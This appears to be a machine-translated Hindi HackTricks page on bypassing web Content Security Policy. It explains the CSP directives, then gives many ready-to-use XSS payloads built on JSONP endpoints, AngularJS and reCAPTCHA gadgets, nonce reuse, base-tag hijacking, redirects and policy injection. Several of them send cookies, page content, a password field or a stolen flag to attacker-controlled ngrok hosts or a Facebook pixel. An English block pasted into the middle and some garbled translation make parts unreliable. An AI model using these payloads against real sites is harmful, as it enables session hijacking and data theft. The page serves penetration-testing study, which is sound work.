hacktricks/pentesting-web/content-security-policy-csp-bypass/README.md

75 KiB
Raw Blame History

सामग्री सुरक्षा नीति (CSP) बाईपास

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इंसाइट्स
उत्कृष्टता और हैकिंग की चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें

रियल-टाइम हैक न्यूज़
तेजी से बदलती हैकिंग दुनिया के साथ कदम से कदम रखें न्यूज़ और इंसाइट्स के माध्यम से

नवीनतम घोषणाएं
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें

हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

CSP क्या है

सामग्री सुरक्षा नीति (CSP) को ब्राउज़र प्रौद्योगिकी के रूप में मान्यता प्राप्त है, जिसका मुख्य उद्देश्य क्रॉस-साइट स्क्रिप्टिंग (XSS) जैसे हमलों से बचाव है। यह इसलिए काम करता है क्योंकि यह ब्राउज़र द्वारा सुरक्षित रूप से लोड किए जा सकने वाले संसाधनों के लिए मार्ग और स्रोतों को परिभाषित और विस्तारित करके कार्य करता है। इन संसाधनों में छवियाँ, फ्रेम्स, और जावास्क्रिप्ट जैसे तत्व शामिल हैं। उदाहरण के लिए, एक नीति स्वयं डोमेन (सेल्फ) से संसाधनों को लोड और क्रियान्वित करने की अनुमति देने की सक्षम हो सकती है, इनलाइन संसाधनों और eval, setTimeout, या setInterval जैसे फ़ंक्शन के माध्यम से स्ट्रिंग कोड के क्रियान्वयन की अनुमति देने की सहायता कर सकती है।

CSP का कार्यान्वयन प्रतिक्रिया हेडर के माध्यम से या HTML पेज में मेटा तत्वों को शामिल करके किया जाता है। इस नीति के अनुसार, ब्राउज़र सक्रिय रूप से इन निर्धारणों का पालन करता है और किसी भी पारदर्शित उल्लंघन को तुरंत रोक देता है।

  • प्रतिक्रिया हेडर के माध्यम से कार्यान्वयन:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • मेटा टैग के माध्यम से लागू किया गया:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

हेडर्स

CSP को इन हेडर्स का उपयोग करके प्रवर्तित या मॉनिटर किया जा सकता है:

  • Content-Security-Policy: CSP को प्रवर्तित करता है; ब्राउज़र किसी भी उल्लंघन को रोकता है।
  • Content-Security-Policy-Report-Only: मॉनिटरिंग के लिए उपयोग किया जाता है; उल्लंघन की रिपोर्ट बनाता है बिना उन्हें रोकने के। प्री-प्रोडक्शन वातावरण में टेस्टिंग के लिए आदर्श है।

संसाधनों की परिभाषा

CSP निर्धारित करता है कि सक्रिय और निष्क्रिय सामग्री लोड करने के लिए मूल स्थानों की प्रतिबंधित करने से, इनलाइन जावास्क्रिप्ट निष्पादन और eval() का उपयोग जैसे पहलुओं को नियंत्रित करता है। एक उदाहरण नीति है:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

निर्देशिका

  • script-src: जावास्क्रिप्ट के लिए विशिष्ट स्रोतों को अनुमति देता है, जैसे URL, इनलाइन स्क्रिप्ट, और ईवेंट हैंडलर या XSLT स्टाइलशीट द्वारा ट्रिगर किए गए स्क्रिप्ट।
  • default-src: विशिष्ट फेच निर्देशिकाओं के अभाव में संसाधनों को लाने के लिए एक डिफ़ॉल्ट नीति सेट करता है।
  • child-src: वेब वर्कर्स और एम्बेडेड फ्रेम सामग्री के लिए अनुमति दी गई स्रोतों को निर्दिष्ट करता है।
  • connect-src: fetch, WebSocket, XMLHttpRequest जैसे इंटरफेस का उपयोग करके लोड किए जा सकने वाले URL पर प्रतिबंध लगाता है।
  • frame-src: फ्रेम के लिए URL पर प्रतिबंध लगाता है।
  • frame-ancestors: मौजूदा पेज को एम्बेड कर सकने वाले स्रोतों को निर्दिष्ट करता है, <frame>, <iframe>, <object>, <embed>, और <applet> जैसे तत्वों के लिए लागू होता है।
  • img-src: छवियों के लिए अनुमति देने वाले स्रोतों को परिभाषित करता है।
  • font-src: @font-face का उपयोग करके लोड किए जाने वाले फॉन्ट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
  • manifest-src: एप्लिकेशन मैनिफ़ेस्ट फ़ाइलों के अनुमत स्रोतों को परिभाषित करता है।
  • media-src: मीडिया ऑब्जेक्ट्स को लोड करने के लिए अनुमति देने वाले स्रोतों को परिभाषित करता है।
  • object-src: <object>, <embed>, और <applet> तत्वों के लिए अनुमति देने वाले स्रोतों को परिभाषित करता है।
  • base-uri: <base> तत्वों का उपयोग करके लोड करने के लिए अनुमति देने वाले URL को निर्दिष्ट करता है।
  • form-action: फॉर्म सबमिशन के लिए मान्य एंडपॉइंट्स की सूची देता है।
  • plugin-types: पृष्ठ द्वारा आमंत्रित किए जाने वाले माइम प्रकारों पर प्रतिबंध लगाता है।
  • upgrade-insecure-requests: ब्राउज़र को HTTP URL को HTTPS में रीव्राइट करने के लिए निर्देशित करता है।
  • sandbox: <iframe> के सैंडबॉक्स विशेषता के समान प्रतिबंध लागू करता है।
  • report-to: यदि नीति का उल्लंघन होता है, तो रिपोर्ट भेजा जाएगा उस समूह को निर्दिष्ट करता है।
  • worker-src: Worker, SharedWorker, या ServiceWorker स्क्रिप्ट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
  • prefetch-src: उन स्रोतों के लिए मान्य स्रोतों को निर्दिष्ट करता है जो लोड या पूर्व-लोड किए जाएंगे।
  • navigate-to: किसी भी तरीके से एक दस्तावेज़ द्वारा नेविगेट करने के लिए URL पर प्रतिबंध लगाता है (a, form, window.location, window.open, आदि)।

स्रोत

  • *: data:, blob:, filesystem: योजनाओं वाले URL को छोड़कर सभी URL की अनुमति देता है।
  • 'self': एक ही डोमेन से लोड करने की अनुमति देता है।
  • 'data': डेटा योजना के माध्यम से संसाधनों को लोड करने की अनुमति देता है (उदाहरण के लिए, बेस64 एन्कोडेड छवियाँ)।
  • 'none': किसी भी स्रोत से लोड करने की अनुमति नहीं देता है।
  • 'unsafe-eval': eval() और समान विधियों का उपयोग करने की अनुमति देता है, सुरक्षा कारणों से सिफारिश नहीं की जाती है।
  • 'unsafe-hashes': विशिष्ट इनलाइन ईवेंट हैंडलर्स को सक्षम करता है।
  • 'unsafe-inline': इनलाइन <script> या <style> जैसे इनलाइन संसाधनों का उपयोग करने की अनुमति देता है, सुरक्षा कारणों से सिफारिश नहीं की जाती है।
  • 'nonce': एक क्रिप्टोग्राफिक नॉन्स (एक बार उपयोग किया गया संख्या) का उपयोग करके विशिष्ट इनलाइन स्क्रिप्ट के लिए एक सफेद सूची है। यदि आपके पास JS सीमित निष्पादन है तो पृष्ठ में उपयुक्त नॉन्स को पुनः प्रयोग करना संभव है doc.defaultView.top.document.querySelector("[nonce]") और फिर इसे दुरुपयोग करने के लिए एक दुर्भाग्यपूर्ण स्क्रिप्ट लोड करने के लिए। (यदि स्ट्रिक्ट-डायनामिक का उपयोग किया जाता है, तो किसी भी अनुमत स्रोत नए स्रोतों को लोड कर सकता है, इसलिए यह आवश्यक नहीं है)। जैसे कि:
नॉन्स का पुनः प्रयोग करके स्क्रिप्ट लोड करें ```html ```
  • 'sha256-<hash>': विशिष्ट sha256 हैश के साथ स्क्रिप्ट को सफेद सूचीबद्ध करता है।
  • 'strict-dynamic': किसी भी स्रोत द्वारा सफेद सूचीबद्ध किया गया हो तो किसी भी स्रोत से स्क्रिप्ट लोड करने की अनुमति देता है।
  • 'host': एक विशिष्ट होस्ट को निर्दिष्ट करता है, जैसे example.com
  • https:: URL को उनके HTTPS का उपयोग करने वाले तक ही सीमित करता है।
  • blob:: Blob URLs से संसाधनों को लोड करने की अनुमति देता है (जैसे, JavaScript के माध्यम से बनाए गए Blob URLs)।
  • filesystem:: फ़ाइल सिस्टम से संसाधनों को लोड करने की अनुमति देता है।
  • 'report-sample': उल्लंघन रिपोर्ट में उल्लंघक कोड का एक नमूना शामिल करता है (डीबगिंग के लिए उपयोगी)।
  • 'strict-origin': 'self' के समान है लेकिन स्रोतों का प्रोटोकॉल सुरक्षा स्तर दस्तावेज से मेल खाता है (केवल सुरक्षित मूल स्रोत सुरक्षित मूल स्रोतों से संसाधनों को लोड कर सकते हैं)।
  • 'strict-origin-when-cross-origin': समान मूल स्रोत अनुरोध करते समय पूर्ण URL भेजता है लेकिन अनुरोध क्रॉस-मूल होने पर केवल मूल को भेजता है।
  • 'unsafe-allow-redirects': संसाधनों को लोड करने की अनुमति देता है जो तुरंत दूसरे संसाधन पर पुन:निर्देशित हो जाएगा। सुरक्षा को कमजोर करने के लिए सिफारिश नहीं की जाती।

असुरक्षित CSP नियम

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Working payload: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

काम करने वाला पेलोड:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

यदि आप किसी प्रकार से अनुमत JS कोड नए स्क्रिप्ट टैग को DOM में अपने JS कोड के साथ बना सकते हैं, क्योंकि एक अनुमत स्क्रिप्ट इसे बना रहा है, तो नया स्क्रिप्ट टैग को निषेधित किया जाने दिया जाएगा

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

काम करने वाला पेलोड:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

ऑब्जेक्ट-स्र्स और डिफ़ॉल्ट-स्र्स की कमी

{% hint style="danger" %} ऐसा लगता है कि यह अब काम नहीं कर रहा है {% endhint %}

Content-Security-Policy: script-src 'self' ;

काम करने वाले payloads:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

फ़ाइल अपलोड + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

यदि आप एक JS फ़ाइल अपलोड कर सकते हैं तो आप इस CSP को बाईपास कर सकते हैं:

काम करने वाला पेलोड:

"/>'><script src="/uploads/picture.png.js"></script>

फिर भी, यह अधिक संभावित है कि सर्वर अपलोड की गई फ़ाइल की पुष्टि कर रहा है और केवल निर्धारित प्रकार की फ़ाइलों को अपलोड करने देगा

इसके अतिरिक्त, यदि आप सर्वर द्वारा स्वीकृत एक्सटेंशन का उपयोग करके एक फ़ाइल में जेएस कोड अपलोड कर सकते हैं (जैसे: script.png) तो भी यह काफी नहीं होगा क्योंकि कुछ सर्वर जैसे अपाचे सर्वर फ़ाइल के MIME प्रकार का चयन एक्सटेंशन पर आधारित करते हैं और Chrome जैसे ब्राउज़र उस चीज़ को जिसे एक छवि होना चाहिए में जावास्क्रिप्ट को निषेधित करेगा। "आशा है", यहाँ गलतियाँ हैं। उदाहरण के लिए, एक सीटीएफ से मुझे पता चला कि अपाचे को पता नहीं है .wave एक्सटेंशन, इसलिए यह ऑडियो/* जैसे MIME प्रकार के साथ सर्विस नहीं करता।

यहाँ से, यदि आप एक XSS और एक फ़ाइल अपलोड पाते हैं, और आप एक गलत अनुवादित एक्सटेंशन पाते हैं, तो आप उस एक्सटेंशन के साथ एक फ़ाइल और स्क्रिप्ट की सामग्री का प्रयास कर सकते हैं। या, यदि सर्वर अपलोड की गई फ़ाइल का सही प्रारूप जांच रहा है, तो एक पॉलीग्लॉट बनाएं (यहाँ कुछ पॉलीग्लॉट उदाहरण हैं)।

थर्ड पार्टी एंडपॉइंट्स + ('unsafe-eval')

{% hint style="warning" %} कुछ निम्नलिखित पेलोड के लिए unsafe-eval की आवश्यकता ही नहीं है। {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

एक वंशावली संस्करण को लोड करें और विविध JS को क्रियान्वित करें:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Angular + एक पुस्तकालय का उपयोग करने वाले पेलोड (इस पोस्ट की जाँच करें):

{% hint style="info" %} इस पोस्ट में दिखाया गया है कि आप cdn.cloudflare.com से सभी पुस्तकालय को लोड कर सकते हैं (या किसी अन्य अनुमत JS पुस्तकालय रेपो से), प्रत्येक पुस्तकालय से जोड़ी गई सभी फ़ंक्शन को क्रियान्वित कर सकते हैं, और जांच सकते हैं **कौन से पुस्तकालयों से कौन से फ़ंक्शन window ऑब्ज

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Google reCAPTCHA JS को दुरुपयोग करना

इस CTF व्रिटअप के अनुसार आप https://www.google.com/recaptcha/ का दुरुपयोग कर सकते हैं एक CSP के अंदर अनियमित JS कोड को बाहर करते हुए:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

इस व्रिटअप से अधिक पेलोड

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

तीसरे पक्ष के एंडपॉइंट + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

ऐसे परिदृश्य जहाँ script-src को self और एक विशेष डोमेन जो whitelist किया गया है सेट किया गया है, उन्हें JSONP का उपयोग करके बाईपास किया जा सकता है। JSONP endpoints असुरक्षित कॉलबैक मेथड को संभावित करते हैं जिससे हमलावार XSS कार्रवाई कर सकते हैं, काम करने वाला payload:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee में विभिन्न वेबसाइटों के CSP बाईपास के लिए उपयोग के लिए तैयार JSONP एंडपॉइंट्स शामिल है।

यदि विश्वसनीय एंडपॉइंट में ओपन रीडायरेक्ट होता है, तो एक ही सुरक्षा दोष होगा क्योंकि यदि प्रारंभिक एंडपॉइंट विश्वसनीय है, तो रीडायरेक्ट्स भी विश्वसनीय होते हैं।

तीसरे पक्ष का दुरुपयोग

निम्नलिखित पोस्ट में वर्णित के अनुसार, कई तीसरे पक्ष डोमेन, जो कहीं-न-कहीं CSP में अनुमति हो सकते हैं, उनका दुरुपयोग किया जा सकता है या तो डेटा को बाहर ले जाने के लिए या जावास्क्रिप्ट को क्रियान्वित करने के लिए। कुछ तीसरे पक्ष इस प्रकार हैं:

संस्था अनुमत डोमेन क्षमताएँ
फेसबुक www.facebook.com, *.facebook.com Exfil
हॉटजार *.hotjar.com, ask.hotjar.io Exfil
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net Exec
अमेज़न क्लाउडफ्रंट *.cloudfront.net Exfil, Exec
अमेज़न AWS *.amazonaws.com Exfil, Exec
एज़्यूर वेबसाइट्स *.azurewebsites.net, *.azurestaticapps.net Exfil, Exec
सेल्सफोर्स हेरोकू *.herokuapp.com Exfil, Exec
गूगल फायरबेस *.firebaseapp.com Exfil, Exec

यदि आपके लक्ष्य के CSP में किसी भी अनुमत डोमेन को पाते हैं, तो संभावना है कि आप तीसरे पक्ष सेवा पर पंजीकरण करके CSP को बाईपास कर सकते हैं, या तो उस सेवा को डेटा को बाहर ले जाने के लिए या कोड को क्रियान्वित करने के लिए।

उदाहरण के लिए, यदि आप निम्नलिखित CSP पाते हैं:

Content-Security-Policy: default-src 'self www.facebook.com;

Content Security Policy (CSP) Bypass

Introduction

In some scenarios, you may encounter a website that has a strict Content Security Policy (CSP) in place, which restricts the sources from which certain types of content can be loaded. However, there are ways to bypass CSP protections and execute malicious code on the target website.

Bypass Techniques

  1. Inline Script Execution: By finding a way to execute inline scripts, you can bypass CSP restrictions that block inline scripts.

  2. Data: URI Scheme: Using the data: URI scheme, you can embed external resources directly within a web page, bypassing CSP restrictions.

  3. Unsafe Eval Function: Leveraging the eval() function can help bypass CSP protections that restrict the use of eval for executing code.

  4. Trusted Types Bypass: If the website uses Trusted Types to restrict the use of certain functions, you can find ways to bypass these restrictions.

Conclusion

Understanding how to bypass CSP protections is crucial for a penetration tester to identify and exploit security vulnerabilities in web applications. By utilizing various techniques, you can bypass CSP restrictions and execute malicious code, highlighting the importance of implementing strong security measures to protect against such attacks.

Content-Security-Policy: connect-src www.facebook.com;

आपको डेटा को बाहर निकालने में सक्षम होना चाहिए, जैसे कि Google Analytics/Google Tag Manager के साथ हमेशा किया गया है। इस मामले में, आप निम्नलिखित सामान्य चरणों का पालन करते हैं:

  1. यहाँ एक Facebook Developer खाता बनाएं।
  2. एक नया "Facebook Login" ऐप बनाएं और "वेबसाइट" का चयन करें।
  3. "सेटिंग्स -> मूल" पर जाएं और अपना "ऐप आईडी" प्राप्त करें।
  4. उस लक्षित साइट में जहां से आप डेटा बाहर निकालना चाहते हैं, आप "fbq" उपकरण का सीधा उपयोग करके "कस्टम इवेंट" और डेटा पेलोड के माध्यम से डेटा बाहर निकाल सकते हैं।
  5. अपने ऐप "इवेंट मैनेजर" पर जाएं और आपने बनाया ऐप्लिकेशन चुनें (नोट करें कि इवेंट मैनेजर इस प्रकार के यूआरएल में पाया जा सकता है: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)
  6. "टेस्ट इवेंट्स" टैब का चयन करें ताकि "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट्स देख सकें।

फिर, पीड़ित पक्ष पर, आप निम्नलिखित कोड को निष्पादित करें ताकि आप Facebook ट्रैकिंग पिक्सल को आक्रमक के Facebook डेवलपर खाते ऐप-आईडी पर पॉइंट करने और इस प्रकार का कस्टम इवेंट जारी करें:

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

Bypass के माध्यम से RPO (सापेक्ष पथ ओवरराइट)

पिछले तालिका में उल्लिखित अन्य सात थर्ड-पार्टी डोमेन के लिए, आप उनका दुरुपयोग करने के कई अन्य तरीके का उपयोग कर सकते हैं। अन्य थर्ड-पार्टी दुरुपयोग के बारे में अतिरिक्त व्याख्यान के लिए पिछले ब्लॉग पोस्ट का संदर्भ दें।

उपरोक्त पथ प्रतिबंधों को अनदेखा करने के लिए उल्लिखित पुनर्निर्देशन के अतिरिक्त, कुछ सर्वरों पर एक और तकनीक नामक सापेक्ष पथ ओवरराइट (RPO) है जिसका उपयोग किया जा सकता है।

उदाहरण के लिए, यदि CSP https://example.com/scripts/react/ पथ की अनुमति देता है, तो इसे निम्नलिखित रूप में अनदेखा किया जा सकता ह।

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

ब्राउज़र आखिरकार https://example.com/scripts/angular/angular.js लोड करेगा।

यह काम करता है क्योंकि ब्राउज़र के लिए आप https://example.com/scripts/react/ के नीचे स्थित ..%2fangular%2fangular.js नामक फ़ाइल लोड कर रहे हैं, जो सीएसपी के अनुसार है।

इसके बाद, वे इसे डिकोड करेंगे, जिससे https://example.com/scripts/react/../angular/angular.js का अनुरोध किया जाएगा, जो https://example.com/scripts/angular/angular.js के समान है।

ब्राउज़र और सर्वर के बीच URL व्याख्या में असंगति का उपयोग करके, पथ नियमों को उल्लंघित किया जा सकता है

समाधान यह है कि सर्वर-साइड पर %2f को / के रूप में न देखें, ताकि ब्राउज़र और सर्वर के बीच संगत व्याख्या सुनिश्चित करने के लिए इस समस्या से बचा जा सके।

ऑनलाइन उदाहरण: https://jsbin.com/werevijewa/edit?html,output

Iframes JS execution

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

गायब base-uri

यदि base-uri निर्देशिका गायब है तो आप इसे दुरुपयोग करने के लिए उपयोग कर सकते हैं ताकि एक डैंगलिंग मार्कअप इंजेक्शन किया जा सके।

इसके अतिरिक्त, यदि पृष्ठ एक अवस्थित पथ का उपयोग करके स्क्रिप्ट लोड कर रहा है (जैसे <script src="/js/app.js">) एक Nonce का उपयोग करके, तो आप बेस टैग का दुरुपयोग कर सकते हैं ताकि यह आपके अपने सर्वर से स्क्रिप्ट लोड करें और एक XSS प्राप्त करें।
यदि संकटपूर्ण पृष्ठ httpS के साथ लोड हो रहा है, तो बेस में httpS url का उपयोग करें।

<base href="https://www.attacker.com/">

AngularJS घटनाएँ

एक विशिष्ट नीति जिसे सामग्री सुरक्षा नीति (CSP) कहा जाता है, जावास्क्रिप्ट घटनाओं को प्रतिबंधित कर सकती है। फिर भी, AngularJS एक वैकल्पिक रूप में कस्टम घटनाएँ पेश करता है। एक घटना के भीतर, AngularJS एक अद्वितीय ऑब्जेक्ट $event प्रदान करता है, जो मूल ब्राउज़र घटना ऑब्ज

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

यह स्निपेट ng-focus निर्देशिका का उपयोग हासिल करता है घटना को ट्रिगर करने के लिए, $event.path|orderBy का उपयोग करता है path एरे को संशोधित करने के लिए, और alert() फ़ंक्शन को निष्पादित करने के लिए window ऑब्जेक्ट का उपयोग करता है, जिससे document.cookie प्रकट होता है।

अन्य एंगुलर बायपास खोजें https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

एंगुलरजेएस और व्हाइटलिस्टेड डोमेन

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

काम करने वाले पेलोड्स:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

अन्य JSONP अनिवार्य क्रियान्वयन अंत्यस्थ बिंदु यहाँ में पाए जा सकते हैं (कुछ उन्हें हटा दिया गया था या सुधार दिया गया था)

पुनर्निर्देशन के माध्यम से बाईपास

CSP को सर्वर-साइड पुनर्निर्देशन का सामना करने पर क्या होता है? यदि पुनर्निर्देशन एक अनुमति नहीं है जो मान्य है, तो यह फिर भी विफल हो जाएगा।

हालांकि, CSP स्पेक 4.2.2.3. पथ और पुनर्निर्देश में वर्णन के अनुसार, यदि पुनर्निर्देशन एक विभिन्न पथ पर ले जाता है, तो यह मूल प्रतिबंधों को बाईपास कर सकता है।

यहाँ एक उदाहरण है:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

यदि CSP को https://www.google.com/a/b/c/d पर सेट किया गया है, क्योंकि पथ को मान्य माना जाता है, इसलिए /test और /a/test स्क्रिप्ट दोनों CSP द्वारा अवरोधित किए जाएंगे।

हालांकि, अंतिम http://localhost:5555/301 सर्वर-द्वारा https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// पर पुनर्निर्देशित किया जाएगा। क्योंकि यह एक पुनर्निर्देशन है, पथ को ध्यान में नहीं रखा जाता है, और स्क्रिप्ट लोड किया जा सकता है, इसलिए पथ प्रतिबंध को उलटा कर दिया जा सकता है।

इस पुनर्निर्देशन के साथ, यदि पूरी तरह से पथ निर्दिष्ट किया जाता है, तो भी यह उल्लंघन किया जाएगा।

इसलिए, सबसे अच्छा समाधान यह है कि सुनिश्चित किया जाए कि वेबसाइट में कोई खुला पुनर्निर्देशन संवर्गनी न हो और कोई डोमेन न हो जिसे CSP नियमों में शोषित किया जा सके।

डैंगलिंग मार्कअप के साथ CSP को उल्लंघित करें

यहाँ पढ़ें.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' का मतलब है कि आप कोड के अंदर कोई भी स्क्रिप्ट निष्पादित कर सकते हैं (XSS कोड को निष्पादित कर सकता है) और img-src * का मतलब है कि आप वेबपेज में किसी भी स्रोत से किसी भी छवि का उपयोग कर सकते हैं।

आप इस CSP को छदने के लिए छवियों के माध्यम से डेटा को बाहर निकाल सकते हैं (इस अवसर में XSS एक CSRF का दुरुपयोग करता है जहां बॉट द्वारा पहुंची जा सकने वाली पृष्ठ में एक SQLi होती है, और एक छवि के माध्यम से ध्वज को निकालता है):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

आप इस कॉन्फ़िगरेशन का दुरुपयोग करके एक छवि के अंदर डाले गए जावास्क्रिप्ट को लोड कर सकते हैं। यदि उदाहरण के लिए, पृष्ठ ट्विटर से छवियां लोड करने की अनुमति देता है। तो आप एक विशेष छवि तैयार कर सकते हैं, इसे ट्विटर पर अपलोड कर सकते हैं और "unsafe-inline" का दुरुपयोग करके एक JS कोड (एक नियमित XSS के रूप में) को चलाने के लिए उसे कर सकते हैं: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

सेवा कर्मचारियों के साथ

सेवा कर्मचारियों का importScripts फ़ंक्शन CSP द्वारा सीमित नहीं है:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

नीति इंजेक्शन

शोध: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

यदि आप द्वारा भेजे गए पैरामीटर को नीति के घोषणा के अंदर पेस्ट किया जा रहा है, तो आप नीति को किसी भी तरह से बदल सकते हैं जिससे यह अनर्थक हो जाए। आप इनमें से किसी भी बायपास के साथ स्क्रिप्ट 'unsafe-inline' को अनुमति दे सकते हैं:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

क्योंकि यह निर्देशिका मौजूदा script-src निर्देशिकाओं को अधिलेखित कर देगी
आप यहाँ एक उदाहरण पा सकते हैं: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edge में यह काफी सरल है। यदि आप CSP में बस यह जोड़ सकते हैं: ;_ तो Edge पूरी नीति को छोड़ देगा
उदाहरण: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

